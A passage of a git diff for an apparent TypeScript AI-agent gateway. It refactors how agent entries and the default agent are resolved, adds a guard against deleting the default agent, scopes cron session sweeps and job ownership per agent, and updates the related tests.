lastSweepAtMsByStore.set(storePath, now); + lastSweepAtMsByTarget.set(targetKey, now); const retentionMs = resolveRetentionMs(params.cronConfig); if (retentionMs === null) { @@ -78,9 +89,31 @@ export async function sweepCronRunSessions(params: { let transcriptCleanupError: unknown; try { const cutoff = now - retentionMs; + const resolvedTarget = resolveSqliteTargetFromSessionStorePath(storePath, { + agentId: params.agentId, + defaultAgentId: params.defaultAgentId, + }); + const sharedPhysicalOwner = resolvedTarget.shared + ? normalizeAgentId(resolvedTarget.agentId ?? params.defaultAgentId) + : undefined; let pendingMediaSessionKeys: Set | undefined; const removals: SessionEntryLifecycleRemoval[] = []; - for (const { sessionKey, entry } of listSessionEntries({ storePath })) { + // The accessor keeps agentId logical for admission checks and resolves a shared + // store's physical database owner internally through its SQLite scope. + for (const { sessionKey, entry } of listSessionEntries({ + agentId: params.agentId, + storePath, + })) { + const scopedOwner = parseAgentSessionKey(sessionKey)?.agentId; + const requestedOwner = normalizeAgentId(params.agentId); + if ( + (scopedOwner && normalizeAgentId(scopedOwner) !== requestedOwner) || + (!scopedOwner && + sharedPhysicalOwner !== undefined && + sharedPhysicalOwner !== requestedOwner) + ) { + continue; + } if (!isCronRunSessionKey(sessionKey)) { continue; } @@ -111,6 +144,7 @@ export async function sweepCronRunSessions(params: { // retention policy (null = keep until the disk budget evicts). const archiveRetentionMs = resolveMaintenanceConfig().resetArchiveRetentionMs; const result = await applySessionEntryLifecycleMutation({ + agentId: params.agentId, storePath, removals, preserveActiveWork: true, @@ -150,9 +184,9 @@ export async function sweepCronRunSessions(params: { return { swept: true, pruned }; } -/** Resets per-store reaper throttles between tests. */ +/** Resets per-target reaper throttles between tests. */ function resetReaperThrottle(): void { - lastSweepAtMsByStore.clear(); + lastSweepAtMsByTarget.clear(); } if (process.env.VITEST || process.env.NODE_ENV === "test") { diff --git a/src/flows/doctor-removed-workspaces-state-check.ts b/src/flows/doctor-removed-workspaces-state-check.ts index fdf2e9601a85..2ef0c072ff2d 100644 --- a/src/flows/doctor-removed-workspaces-state-check.ts +++ b/src/flows/doctor-removed-workspaces-state-check.ts @@ -1,6 +1,7 @@ // Doctor cleanup for state left by the retired experimental Workspaces plugin. import { lstat, realpath, rm } from "node:fs/promises"; import path from "node:path"; +import { listAgentEntries } from "../agents/agent-scope-config.js"; import { resolveStateDir } from "../config/paths.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { resolveUserPath } from "../utils.js"; @@ -68,7 +69,7 @@ async function configuredAgentWorkspaceCollisions( ): Promise { const configured: Array<{ label: string; workspace: string | undefined }> = [ { label: "agents.defaults.workspace", workspace: cfg.agents?.defaults?.workspace }, - ...(cfg.agents?.list ?? []).map((agent) => ({ + ...listAgentEntries(cfg).map((agent) => ({ label: `agents.list.${agent.id}.workspace`, workspace: agent.workspace, })), diff --git a/src/gateway/agent-list.test.ts b/src/gateway/agent-list.test.ts index 2f0a6661d826..571764691a71 100644 --- a/src/gateway/agent-list.test.ts +++ b/src/gateway/agent-list.test.ts @@ -9,7 +9,7 @@ import { withStateDirEnv } from "../test-helpers/state-dir-env.js"; import { listGatewayAgentsBasic } from "./agent-list.js"; describe("listGatewayAgentsBasic", () => { - it("retains disk agents and applies owner-contributed kinds", async () => { + it("retains disk system agents without treating regular disk dirs as roster members", async () => { await withStateDirEnv("openclaw-agent-list-", async ({ stateDir }) => { await Promise.all( ["openclaw", "crestodian", "research"].map((id) => @@ -17,22 +17,25 @@ describe("listGatewayAgentsBasic", () => { ), ); - const result = listGatewayAgentsBasic({}); + const result = listGatewayAgentsBasic({ + agents: { entries: { main: { default: true } } }, + }); expect(result.agents).toEqual([ { id: "main", kind: "agent", name: undefined }, { id: "crestodian", kind: "system", name: undefined }, { id: "openclaw", kind: "system", name: undefined }, - { id: "research", kind: "agent", name: undefined }, ]); }); }); it("does not add owner entries without a roster membership source", async () => { await withStateDirEnv("openclaw-agent-list-", async () => { - expect(listGatewayAgentsBasic({}).agents).toEqual([ - { id: "main", kind: "agent", name: undefined }, - ]); + expect( + listGatewayAgentsBasic({ + agents: { entries: { main: { default: true } } }, + }).agents, + ).toEqual([{ id: "main", kind: "agent", name: undefined }]); }); }); @@ -55,6 +58,25 @@ describe("listGatewayAgentsBasic", () => { }); }); + it("retains disk-backed system agents beside an explicit roster", async () => { + await withStateDirEnv("openclaw-agent-list-", async ({ stateDir }) => { + await Promise.all( + ["openclaw", "research"].map((id) => + fs.mkdir(path.join(stateDir, "agents", id), { recursive: true }), + ), + ); + + expect( + listGatewayAgentsBasic({ + agents: { entries: { main: { default: true } } }, + }).agents, + ).toEqual([ + { id: "main", kind: "agent", name: undefined }, + { id: "openclaw", kind: "system", name: undefined }, + ]); + }); + }); + it("falls back to identity.name when the configured agent name is missing", () => { const cfg: OpenClawConfig = { session: { mainKey: "main" }, diff --git a/src/gateway/agent-list.ts b/src/gateway/agent-list.ts index 7782bed45111..8de344552660 100644 --- a/src/gateway/agent-list.ts +++ b/src/gateway/agent-list.ts @@ -3,7 +3,7 @@ import fs from "node:fs"; import path from "node:path"; import { normalizeOptionalString } from "@openclaw/normalization-core/string-coerce"; -import { resolveDefaultAgentId } from "../agents/agent-scope.js"; +import { listAgentEntries, resolveDefaultAgentId } from "../agents/agent-scope.js"; import { resolveStateDir } from "../config/paths.js"; import type { SessionScope } from "../config/sessions.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; @@ -53,7 +53,7 @@ export function listGatewayAgentsBasic(cfg: OpenClawConfig): { const diskIds = new Set(); const agentIds = new Set([defaultId]); - for (const entry of cfg.agents?.list ?? []) { + for (const entry of listAgentEntries(cfg)) { if (!entry?.id) { continue; } @@ -71,7 +71,13 @@ export function listGatewayAgentsBasic(cfg: OpenClawConfig): { } const allowedIds = explicitIds.size > 0 ? new Set([...explicitIds, defaultId]) : null; - const visibleIds = [...agentIds].filter((id) => (allowedIds ? allowedIds.has(id) : true)); + const visibleIds = [...agentIds].filter( + (id) => + !allowedIds || + allowedIds.has(id) || + // System agents are a separate negotiated surface, not authored roster members. + (diskIds.has(id) && ownerEntries.has(id)), + ); visibleIds.sort((a, b) => a.localeCompare(b)); const orderedIds = visibleIds.includes(defaultId) ? [defaultId, ...visibleIds.filter((id) => id !== defaultId)] diff --git a/src/gateway/boot.test.ts b/src/gateway/boot.test.ts index 6eb9ca43e01b..3155ab920dab 100644 --- a/src/gateway/boot.test.ts +++ b/src/gateway/boot.test.ts @@ -33,12 +33,16 @@ describe("runBootOnce", () => { bootContent?: string; }; - const resolveMainStore = ( - cfg: { - session?: { store?: string; scope?: SessionScope; mainKey?: string }; - agents?: { list?: Array<{ id?: string; default?: boolean }> }; - } = {}, - ) => { + const testConfig = (session?: { + store?: string; + scope?: SessionScope; + mainKey?: string; + }): OpenClawConfig => ({ + agents: { list: [{ id: "main", default: true }] }, + ...(session ? { session } : {}), + }); + + const resolveMainStore = (cfg: OpenClawConfig = testConfig()) => { const sessionKey = resolveMainSessionKey(cfg); const agentId = resolveAgentIdFromSessionKey(sessionKey); const storePath = resolveStorePath(cfg.session?.store, { agentId }); @@ -113,7 +117,7 @@ describe("runBootOnce", () => { } = {}, ): Promise> => { let call: Record | undefined; - const cfg = params.cfg ?? {}; + const cfg = params.cfg ?? testConfig(); await withBootWorkspace( { bootContent: params.content ?? "Check status." }, async (workspaceDir) => { @@ -162,7 +166,9 @@ describe("runBootOnce", () => { it("skips when BOOT.md is missing", async () => { await withBootWorkspace({}, async (workspaceDir) => { - await expect(runBootOnce({ cfg: {}, deps: makeDeps(), workspaceDir })).resolves.toEqual({ + await expect( + runBootOnce({ cfg: testConfig(), deps: makeDeps(), workspaceDir }), + ).resolves.toEqual({ status: "skipped", reason: "missing", }); @@ -181,7 +187,9 @@ describe("runBootOnce", () => { return resolvedPath; }); - await expect(runBootOnce({ cfg: {}, deps: makeDeps(), workspaceDir })).resolves.toEqual({ + await expect( + runBootOnce({ cfg: testConfig(), deps: makeDeps(), workspaceDir }), + ).resolves.toEqual({ status: "skipped", reason: "missing", }); @@ -195,7 +203,7 @@ describe("runBootOnce", () => { const bootPath = path.join(workspaceDir, "BOOT.md"); const oversized = Buffer.alloc(16 * 1024 * 1024 + 1, "x"); await fs.writeFile(bootPath, oversized); - const result = await runBootOnce({ cfg: {}, deps: makeDeps(), workspaceDir }); + const result = await runBootOnce({ cfg: testConfig(), deps: makeDeps(), workspaceDir }); expect(result.status).toBe("failed"); if (result.status === "failed") { expect(result.reason).toContain("File exceeds 16777216 bytes"); @@ -206,7 +214,7 @@ describe("runBootOnce", () => { it("returns failed when BOOT.md is not a regular file", async () => { await withBootWorkspace({ bootAsDirectory: true }, async (workspaceDir) => { - const result = await runBootOnce({ cfg: {}, deps: makeDeps(), workspaceDir }); + const result = await runBootOnce({ cfg: testConfig(), deps: makeDeps(), workspaceDir }); expect(result.status).toBe("failed"); if (result.status === "failed") { expect(result.reason.length).toBeGreaterThan(0); @@ -227,7 +235,9 @@ describe("runBootOnce", () => { await fs.rm(bootPath, { force: true }); await fs.symlink(targetPath, bootPath); agentCommand.mockResolvedValue(undefined); - await expect(runBootOnce({ cfg: {}, deps: makeDeps(), workspaceDir })).resolves.toEqual({ + await expect( + runBootOnce({ cfg: testConfig(), deps: makeDeps(), workspaceDir }), + ).resolves.toEqual({ status: "ran", }); expect(agentCommand).toHaveBeenCalledTimes(1); @@ -246,7 +256,9 @@ describe("runBootOnce", () => { const targetPath = path.join(workspaceDir, "MISSING_BOOT.md"); await fs.rm(bootPath, { force: true }); await fs.symlink(targetPath, bootPath); - await expect(runBootOnce({ cfg: {}, deps: makeDeps(), workspaceDir })).resolves.toEqual({ + await expect( + runBootOnce({ cfg: testConfig(), deps: makeDeps(), workspaceDir }), + ).resolves.toEqual({ status: "skipped", reason: "missing", }); @@ -258,7 +270,9 @@ describe("runBootOnce", () => { { title: "whitespace-only", content: "\n\t ", reason: "empty" as const }, ])("skips when BOOT.md is $title", async ({ content, reason }) => { await withBootWorkspace({ bootContent: content }, async (workspaceDir) => { - await expect(runBootOnce({ cfg: {}, deps: makeDeps(), workspaceDir })).resolves.toEqual({ + await expect( + runBootOnce({ cfg: testConfig(), deps: makeDeps(), workspaceDir }), + ).resolves.toEqual({ status: "skipped", reason, }); @@ -306,7 +320,7 @@ describe("runBootOnce", () => { // substantial echoes. expect(getBootEchoContextForSession(opts.sessionKey)).toContain(content); }); - await runBootOnce({ cfg: {}, deps: makeDeps(), workspaceDir }); + await runBootOnce({ cfg: testConfig(), deps: makeDeps(), workspaceDir }); }); // After the run completes, the entry must be cleared so it does not // contaminate a subsequent unrelated run on the same session key. @@ -322,7 +336,7 @@ describe("runBootOnce", () => { observedDuringRun = getBootEchoContextForSession(opts.sessionKey); throw new Error("simulated agent failure"); }); - await runBootOnce({ cfg: {}, deps: makeDeps(), workspaceDir }); + await runBootOnce({ cfg: testConfig(), deps: makeDeps(), workspaceDir }); }); expect(observedDuringRun).toBeDefined(); expect(getBootEchoContextForSession(observedSessionKey)).toBeUndefined(); @@ -343,7 +357,9 @@ describe("runBootOnce", () => { it("returns failed when agent command throws", async () => { await withBootWorkspace({ bootContent: "Wake up and report." }, async (workspaceDir) => { agentCommand.mockRejectedValue(new Error("boom")); - await expect(runBootOnce({ cfg: {}, deps: makeDeps(), workspaceDir })).resolves.toEqual({ + await expect( + runBootOnce({ cfg: testConfig(), deps: makeDeps(), workspaceDir }), + ).resolves.toEqual({ status: "failed", reason: "agent run failed: boom", }); @@ -352,7 +368,7 @@ describe("runBootOnce", () => { }); it("uses per-agent session key when agentId is provided", async () => { - const cfg = {}; + const cfg = testConfig(); const agentId = "ops"; const call = await runBootAndReturnCall({ cfg, agentId }); const mainSessionKey = resolveAgentMainSessionKey({ cfg, agentId }); @@ -360,7 +376,7 @@ describe("runBootOnce", () => { }); it("keeps boot session isolation when the main session key is configured", async () => { - const cfg = { session: { mainKey: "primary" } }; + const cfg = testConfig({ mainKey: "primary" }); const agentId = "ops"; const call = await runBootAndReturnCall({ cfg, agentId }); const mainSessionKey = resolveAgentMainSessionKey({ cfg, agentId }); @@ -372,7 +388,7 @@ describe("runBootOnce", () => { const content = "Say hello when you wake up."; await withBootWorkspace({ bootContent: content }, async (workspaceDir) => { agentCommand.mockResolvedValue(undefined); - const cfg = {}; + const cfg = testConfig(); await expect(runBootOnce({ cfg, deps: makeDeps(), workspaceDir })).resolves.toEqual({ status: "ran", }); @@ -390,7 +406,7 @@ describe("runBootOnce", () => { it("uses a fresh boot session ID even when main session mapping already exists", async () => { const content = "Say hello when you wake up."; await withBootWorkspace({ bootContent: content }, async (workspaceDir) => { - const cfg = {}; + const cfg = testConfig(); const { bootSessionKey, sessionKey, storePath } = resolveMainStore(cfg); const existingSessionId = "main-session-abc123"; @@ -422,7 +438,7 @@ describe("runBootOnce", () => { it("does not mutate the original main session mapping after the boot run", async () => { const content = "Check if the system is healthy."; await withBootWorkspace({ bootContent: content }, async (workspaceDir) => { - const cfg = {}; + const cfg = testConfig(); const { bootSessionKey, sessionKey, storePath } = resolveMainStore(cfg); const existingSessionId = "main-session-xyz789"; @@ -446,7 +462,7 @@ describe("runBootOnce", () => { it("removes a boot-created boot-session mapping when none existed before", async () => { await withBootWorkspace({ bootContent: "health check" }, async (workspaceDir) => { - const cfg = {}; + const cfg = testConfig(); const { bootSessionKey, sessionKey, storePath } = resolveMainStore(cfg); mockAgentUpdatesRequestedSession(storePath); diff --git a/src/gateway/gateway-models.profiles.live.test.ts b/src/gateway/gateway-models.profiles.live.test.ts index b10073da77c7..00a0f1bc9bc8 100644 --- a/src/gateway/gateway-models.profiles.live.test.ts +++ b/src/gateway/gateway-models.profiles.live.test.ts @@ -62,7 +62,7 @@ import { isTruthyEnvValue } from "../infra/env.js"; import type { ModelRegistry } from "../llm/model-registry.js"; import { normalizeGoogleModelId } from "../plugin-sdk/google-model-id.js"; import { resolveProviderThinkingProfile } from "../plugins/provider-runtime.js"; -import { DEFAULT_AGENT_ID } from "../routing/session-key.js"; +import { LEGACY_IMPLICIT_AGENT_ID as DEFAULT_AGENT_ID } from "../routing/session-key.js"; import { stripAssistantInternalScaffolding } from "../shared/text/assistant-visible-text.js"; import { findFinalTagMatches, stripFinalTags } from "../shared/text/final-tags.js"; import { deleteTestEnvValue, setTestEnvValue } from "../test-utils/env.js"; diff --git a/src/gateway/model-pricing-cache.ts b/src/gateway/model-pricing-cache.ts index a10b70d37fc2..696c3437e876 100644 --- a/src/gateway/model-pricing-cache.ts +++ b/src/gateway/model-pricing-cache.ts @@ -5,6 +5,7 @@ import { normalizeOptionalString, resolvePrimaryStringValue, } from "../../packages/normalization-core/src/string-coerce.js"; +import { listAgentEntries } from "../agents/agent-scope-config.js"; import { DEFAULT_PROVIDER } from "../agents/defaults.js"; import { buildModelAliasIndex, @@ -990,7 +991,7 @@ function collectConfiguredModelPricingRefs( ...normalizationParams, }); - for (const agent of config.agents?.list ?? []) { + for (const agent of listAgentEntries(config)) { addModelListLike({ value: agent.model, aliasIndex, diff --git a/src/gateway/server-cron.ts b/src/gateway/server-cron.ts index 3e9c4144a898..5abdeb66404e 100644 --- a/src/gateway/server-cron.ts +++ b/src/gateway/server-cron.ts @@ -14,6 +14,10 @@ import { resolveAgentMainSessionKey, } from "../config/sessions.js"; import { resolveStorePath } from "../config/sessions/paths.js"; +import { + listConfiguredSessionStoreAgentIds, + listKnownSessionStoreAgentIds, +} from "../config/sessions/targets.js"; import type { AgentDefaultsConfig } from "../config/types.agent-defaults.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { @@ -618,6 +622,18 @@ export function buildGatewayCronService(params: { : {}), defaultAgentId, resolveDefaultAgentId: () => resolveDefaultAgentId(getRuntimeConfig()), + resolveSessionStoreAgentIds: () => { + const cfg = getRuntimeConfig(); + try { + return listKnownSessionStoreAgentIds(cfg, { env }); + } catch (error) { + cronLogger.warn( + { err: formatErrorMessage(error) }, + "cron: persisted session-store owner discovery failed", + ); + return listConfiguredSessionStoreAgentIds(cfg); + } + }, isAgentAvailable: (agentId) => !isAgentDeletionBlocked(agentId) && listAgentIds(getRuntimeConfig()).some((id) => normalizeAgentId(id) === agentId), diff --git a/src/gateway/server-methods/agent-request-preflight.ts b/src/gateway/server-methods/agent-request-preflight.ts index f26f1469aaf3..29249557de92 100644 --- a/src/gateway/server-methods/agent-request-preflight.ts +++ b/src/gateway/server-methods/agent-request-preflight.ts @@ -6,6 +6,7 @@ import { formatValidationErrors, validateAgentParams, } from "../../../packages/gateway-protocol/src/index.js"; +import { resolveDefaultAgentId } from "../../agents/agent-scope.js"; import { parseExecApprovalFollowupApprovalId } from "../../agents/bash-tools.exec-approval-followup-state.js"; import { normalizeSpawnedRunMetadata } from "../../agents/spawned-context.js"; import { @@ -91,7 +92,7 @@ export function prepareAgentRequestPreflight( !collectorSession && requestSessionKey && isSubagentSessionKey(requestSessionKey) ? loadSessionEntry({ storePath: resolveStorePath(cfg.session?.store, { - agentId: resolveAgentIdFromSessionKey(requestSessionKey), + agentId: resolveAgentIdFromSessionKey(requestSessionKey, resolveDefaultAgentId(cfg)), }), sessionKey: requestSessionKey, })?.swarmCollector === true @@ -131,7 +132,7 @@ export function prepareAgentRequestPreflight( cfg, registeredCollector?.requesterAgentId ?? (swarmRequesterSessionKey - ? resolveAgentIdFromSessionKey(swarmRequesterSessionKey) + ? resolveAgentIdFromSessionKey(swarmRequesterSessionKey, resolveDefaultAgentId(cfg)) : undefined), ).enabled; const pendingCollectorLaunch = diff --git a/src/gateway/server-methods/agent-request-routing.ts b/src/gateway/server-methods/agent-request-routing.ts index e462b1f1eb3b..84412f83e69d 100644 --- a/src/gateway/server-methods/agent-request-routing.ts +++ b/src/gateway/server-methods/agent-request-routing.ts @@ -1,6 +1,6 @@ import { normalizeOptionalString } from "@openclaw/normalization-core/string-coerce"; import { ErrorCodes, errorShape } from "../../../packages/gateway-protocol/src/index.js"; -import { listAgentIds } from "../../agents/agent-scope.js"; +import { listAgentIds, resolveDefaultAgentId } from "../../agents/agent-scope.js"; import { isExecApprovalFollowupSessionRebound } from "../../agents/bash-tools.exec-approval-followup-state.js"; import { resolveAgentIdFromSessionKey, @@ -192,7 +192,7 @@ export async function prepareAgentRequestRouting(params: { ? normalizeAgentId(parsed.agentId) : canonicalKey === "global" ? agentId - : resolveAgentIdFromSessionKey(requestedSessionKeyRaw); + : resolveAgentIdFromSessionKey(requestedSessionKeyRaw, resolveDefaultAgentId(params.cfg)); if (sessionAgentId !== agentId) { params.respond( false, diff --git a/src/gateway/server-methods/agents-mutate.test.ts b/src/gateway/server-methods/agents-mutate.test.ts index 48c200f2fa39..41be2c8a702f 100644 --- a/src/gateway/server-methods/agents-mutate.test.ts +++ b/src/gateway/server-methods/agents-mutate.test.ts @@ -173,6 +173,13 @@ vi.mock("../../commands/agents.config.js", () => ({ vi.mock("../../agents/agent-scope.js", () => ({ listAgentIds: () => ["main"], listAgentEntries: mocks.listAgentEntries, + resolveDefaultAgentId: (cfg: unknown) => { + const defaults = getAgentList(cfg).filter((entry) => entry.default === true); + if (defaults.length !== 1) { + throw new Error("expected exactly one default agent"); + } + return defaults[0]!.id; + }, resolveAgentDir: mocks.resolveAgentDir, resolveAgentConfig: (cfg: unknown, agentId: string) => getAgentList(cfg).find((entry) => entry.id === agentId), @@ -533,6 +540,7 @@ type MockIdentity = { type MockAgentEntry = { id: string; + default?: boolean; name?: string; workspace?: string; agentDir?: string; @@ -682,7 +690,9 @@ beforeEach(() => { describe("agents.create", () => { beforeEach(() => { vi.clearAllMocks(); - mocks.loadConfigReturn = {}; + mocks.loadConfigReturn = { + agents: { list: [{ id: "main", default: true }] }, + }; }); it("creates a new agent successfully", async () => { @@ -841,7 +851,7 @@ describe("agents.create", () => { expectRespondErrorContaining(respond, "unsafe workspace file"); expect(mocks.writeConfigFile).not.toHaveBeenCalled(); - expect(getAgentList(mocks.loadConfigReturn)).toEqual([]); + expect(getAgentList(mocks.loadConfigReturn)).toEqual([{ id: "main", default: true }]); }); it("passes model to applyAgentConfig when provided", async () => { @@ -1254,10 +1264,18 @@ describe("agents.delete", () => { } as unknown as import("node:fs").Stats); mocks.fsRealpath.mockImplementation(async (pathname: string) => pathname); mocks.loadConfigReturn = { - agents: { list: [{ id: "test-agent", workspace: "/workspace/test-agent" }] }, + agents: { + list: [ + { id: "test-agent", workspace: "/workspace/test-agent" }, + { id: "main", default: true }, + ], + }, }; mocks.findAgentEntryIndex.mockReturnValue(0); - mocks.pruneAgentConfig.mockReturnValue({ config: {}, removedBindings: 2 }); + mocks.pruneAgentConfig.mockReturnValue({ + config: { agents: { list: [{ id: "main", default: true }] } }, + removedBindings: 2, + }); mocks.movePathToTrash.mockReset().mockResolvedValue("/trashed"); }); @@ -2391,7 +2409,7 @@ describe("agents.delete", () => { it("protects every journaled path claimed as a surviving agent workspace", async () => { mocks.loadConfigReturn = { - agents: { list: [{ id: "other-agent", workspace: "/journal" }] }, + agents: { list: [{ id: "other-agent", workspace: "/journal", default: true }] }, }; mocks.findAgentEntryIndex.mockReturnValue(-1); mocks.readAgentDeletionJournal.mockReturnValue({ @@ -2780,7 +2798,9 @@ describe("agents.delete", () => { const workspaceDir = await actualFs.realpath( await actualFs.mkdtemp(path.join(os.tmpdir(), "openclaw-agent-delete-trash-failure-")), ); - mocks.resolveAgentWorkspaceDir.mockReturnValue(workspaceDir); + mocks.resolveAgentWorkspaceDir.mockImplementation((_cfg: unknown, agentId?: string) => + agentId === "test-agent" ? workspaceDir : `/workspace/${agentId ?? "unknown"}`, + ); mocks.movePathToTrash.mockImplementation(async (pathname?: string) => { if (pathname === workspaceDir) { throw Object.assign(new Error("trash destination missing"), { code: "ENOENT" }); @@ -2866,6 +2886,9 @@ describe("agents.delete", () => { }); it("rejects deleting the main agent", async () => { + mocks.loadConfigReturn = { + agents: { list: [{ id: "main" }, { id: "ops", default: true }] }, + }; const { respond, promise } = makeCall("agents.delete", { agentId: "main", }); @@ -2875,17 +2898,6 @@ describe("agents.delete", () => { expect(mocks.writeConfigFile).not.toHaveBeenCalled(); }); - it("rejects deleting a nonexistent agent", async () => { - mocks.findAgentEntryIndex.mockReturnValue(-1); - - const { respond, promise } = makeCall("agents.delete", { - agentId: "ghost", - }); - await promise; - - expectNotFoundResponseAndNoWrite(respond); - }); - it("returns not found when a concurrent delete wins the delete race", async () => { let findCallCount = 0; mocks.findAgentEntryIndex.mockImplementation(() => { diff --git a/src/gateway/server-methods/agents.ts b/src/gateway/server-methods/agents.ts index 13831e1869a2..335fa3db817a 100644 --- a/src/gateway/server-methods/agents.ts +++ b/src/gateway/server-methods/agents.ts @@ -34,6 +34,7 @@ import { beginAgentDeletion, claimCompletedAgentDeletion, } from "../../agents/agent-lifecycle-registry.js"; +import { resolveDefaultAgentId } from "../../agents/agent-scope.js"; import { listAgentIds, resolveAgentDir, @@ -80,7 +81,7 @@ import { root, FsSafeError, type ReadResult } from "../../infra/fs-safe.js"; import { isPathInside } from "../../infra/path-guards.js"; import { resolveSqliteDatabaseFilePaths } from "../../infra/sqlite-files.js"; import { movePathToTrash } from "../../plugin-sdk/browser-maintenance.js"; -import { DEFAULT_AGENT_ID, normalizeAgentId } from "../../routing/session-key.js"; +import { LEGACY_IMPLICIT_AGENT_ID, normalizeAgentId } from "../../routing/session-key.js"; import { readAgentDeletionJournal, type AgentDeletionJournalCleanupPath, @@ -1033,11 +1034,13 @@ export const agentsHandlers: GatewayRequestHandlers = { const cfg = context.getRuntimeConfig(); const agentId = normalizeAgentId(params.agentId); - if (agentId === DEFAULT_AGENT_ID) { + // agents/main/agent also owns the shipped shared legacy auth store. + // Keep main undeletable until named agents make auth-store ownership explicit. + if (agentId === LEGACY_IMPLICIT_AGENT_ID) { respond( false, undefined, - errorShape(ErrorCodes.INVALID_REQUEST, `"${DEFAULT_AGENT_ID}" cannot be deleted`), + errorShape(ErrorCodes.INVALID_REQUEST, `"${LEGACY_IMPLICIT_AGENT_ID}" cannot be deleted`), ); return; } @@ -1049,6 +1052,17 @@ export const agentsHandlers: GatewayRequestHandlers = { respondAgentNotFound(respond, agentId); return; } + if (agentId === resolveDefaultAgentId(cfg)) { + respond( + false, + undefined, + errorShape( + ErrorCodes.INVALID_REQUEST, + `Agent "${agentId}" is the default and cannot be deleted. Reassign default first.`, + ), + ); + return; + } const requestedDeleteFiles = typeof params.deleteFiles === "boolean" ? params.deleteFiles : true; @@ -1059,6 +1073,11 @@ export const agentsHandlers: GatewayRequestHandlers = { if (!configured && (!lockedJournal || lockedJournal.cleanupCompleted)) { throw new AgentConfigPreconditionError(`agent "${agentId}" not found`); } + if (agentId === resolveDefaultAgentId(lockedConfig)) { + throw new AgentConfigPreconditionError( + `agent "${agentId}" is the default; reassign default first`, + ); + } if (configured && lockedJournal?.cleanupCompleted) { const claimed = claimCompletedAgentDeletion(agentId, lockedJournal.operationId); const remainingJournal = readAgentDeletionJournal(agentId); diff --git a/src/gateway/server-methods/artifacts.test.ts b/src/gateway/server-methods/artifacts.test.ts index a2fc093600cb..331da807b198 100644 --- a/src/gateway/server-methods/artifacts.test.ts +++ b/src/gateway/server-methods/artifacts.test.ts @@ -64,13 +64,16 @@ async function invokeArtifactHandler( options: { id?: string; context?: unknown } = {}, ) { const responder = createResponder(); + const defaultContext = { + getRuntimeConfig: () => ({ agents: { entries: { main: { default: true } } } }), + }; await artifactsHandlers[method]?.({ req: { type: "req", id: options.id ?? method, method, params: {} }, params, client: null, isWebchatConnect: () => false, respond: responder.respond, - context: (options.context ?? {}) as never, + context: (options.context ?? defaultContext) as never, }); return responder; } diff --git a/src/gateway/server-methods/cron-caller-scope.test.ts b/src/gateway/server-methods/cron-caller-scope.test.ts new file mode 100644 index 000000000000..e64fcd9790d9 --- /dev/null +++ b/src/gateway/server-methods/cron-caller-scope.test.ts @@ -0,0 +1,55 @@ +import { describe, expect, it } from "vitest"; +import type { CronJob, CronJobCreate } from "../../cron/types.js"; +import { cronJobMatchesCallerScope, cronJobMatchesDeclarationScope } from "./cron-caller-scope.js"; + +function createScopedJob(): CronJob { + return { + id: "ops-job", + name: "Ops job", + enabled: true, + createdAtMs: 1, + updatedAtMs: 1, + schedule: { kind: "every", everyMs: 60_000 }, + sessionTarget: "main", + sessionKey: "agent:ops:main", + agentId: " ", + wakeMode: "next-heartbeat", + payload: { kind: "agentTurn", message: "work" }, + state: {}, + }; +} + +describe("cron caller scope ownership", () => { + it("uses a scoped session key before the configured default", () => { + const job = createScopedJob(); + + expect( + cronJobMatchesCallerScope({ + job, + callerScope: { kind: "agentTool", agentId: "main", accountId: "default" }, + defaultAgentId: "main", + }), + ).toBe(false); + expect( + cronJobMatchesCallerScope({ + job, + callerScope: { kind: "agentTool", agentId: "ops", accountId: "default" }, + defaultAgentId: "main", + }), + ).toBe(true); + + const input: CronJobCreate = { + ...job, + id: undefined, + state: undefined, + }; + expect( + cronJobMatchesDeclarationScope({ + job, + input, + callerScope: undefined, + defaultAgentId: "main", + }), + ).toBe(true); + }); +}); diff --git a/src/gateway/server-methods/cron-caller-scope.ts b/src/gateway/server-methods/cron-caller-scope.ts index 1a0fe59b8674..ed7fe5272625 100644 --- a/src/gateway/server-methods/cron-caller-scope.ts +++ b/src/gateway/server-methods/cron-caller-scope.ts @@ -1,3 +1,4 @@ +import { resolveCronJobEffectiveAgentId } from "../../cron/agent-id.js"; import { createAccountCronScheduledToolPolicy, createTrustedCronScheduledToolPolicy, @@ -5,7 +6,7 @@ import { } from "../../cron/scheduled-tool-policy.js"; import type { CronJob, CronJobCreate, CronJobPatch } from "../../cron/types.js"; import { normalizeAccountId } from "../../routing/account-id.js"; -import { DEFAULT_AGENT_ID, normalizeAgentId } from "../../routing/session-key.js"; +import { normalizeAgentId } from "../../routing/session-key.js"; import { parseAgentSessionKey } from "../../sessions/session-key-utils.js"; import type { GatewayClient } from "./types.js"; @@ -58,11 +59,6 @@ export function resolveCronScheduledToolPolicyForCaller( } return policy; } - -function resolveCronJobEffectiveAgentId(job: CronJob, defaultAgentId?: string): string { - return normalizeAgentId(job.agentId ?? defaultAgentId ?? DEFAULT_AGENT_ID); -} - function parseAgentIdFromSessionRef(value: string | undefined | null): string | undefined { const trimmed = value?.trim(); return trimmed ? parseAgentSessionKey(trimmed)?.agentId : undefined; @@ -85,7 +81,8 @@ function cronJobSessionRefsMatchCaller(job: CronJob, callerScope: CronCallerScop } function resolveCronJobOwnerAgentId(job: CronJob): string | undefined { - const ownerAgentId = job.owner?.agentId ?? parseAgentIdFromSessionRef(job.owner?.sessionKey); + const ownerAgentId = + job.owner?.agentId?.trim() || parseAgentIdFromSessionRef(job.owner?.sessionKey); return ownerAgentId ? normalizeAgentId(ownerAgentId) : undefined; } @@ -209,19 +206,17 @@ export function cronJobMatchesDeclarationScope(params: { } const inputOwnerSessionKey = params.input.owner?.sessionKey; const inputOwnerAgentId = - params.input.owner?.agentId ?? parseAgentIdFromSessionRef(inputOwnerSessionKey); + params.input.owner?.agentId?.trim() || parseAgentIdFromSessionRef(inputOwnerSessionKey); if (inputOwnerSessionKey && !inputOwnerAgentId) { return params.job.owner?.sessionKey === inputOwnerSessionKey; } - const inputAgentId = normalizeAgentId( - inputOwnerAgentId ?? params.input.agentId ?? params.defaultAgentId ?? DEFAULT_AGENT_ID, - ); - const jobAgentId = normalizeAgentId( - resolveCronJobOwnerAgentId(params.job) ?? - params.job.agentId ?? - params.defaultAgentId ?? - DEFAULT_AGENT_ID, - ); + const inputAgentId = inputOwnerAgentId + ? normalizeAgentId(inputOwnerAgentId) + : resolveCronJobEffectiveAgentId(params.input, params.defaultAgentId); + const jobOwnerAgentId = resolveCronJobOwnerAgentId(params.job); + const jobAgentId = jobOwnerAgentId 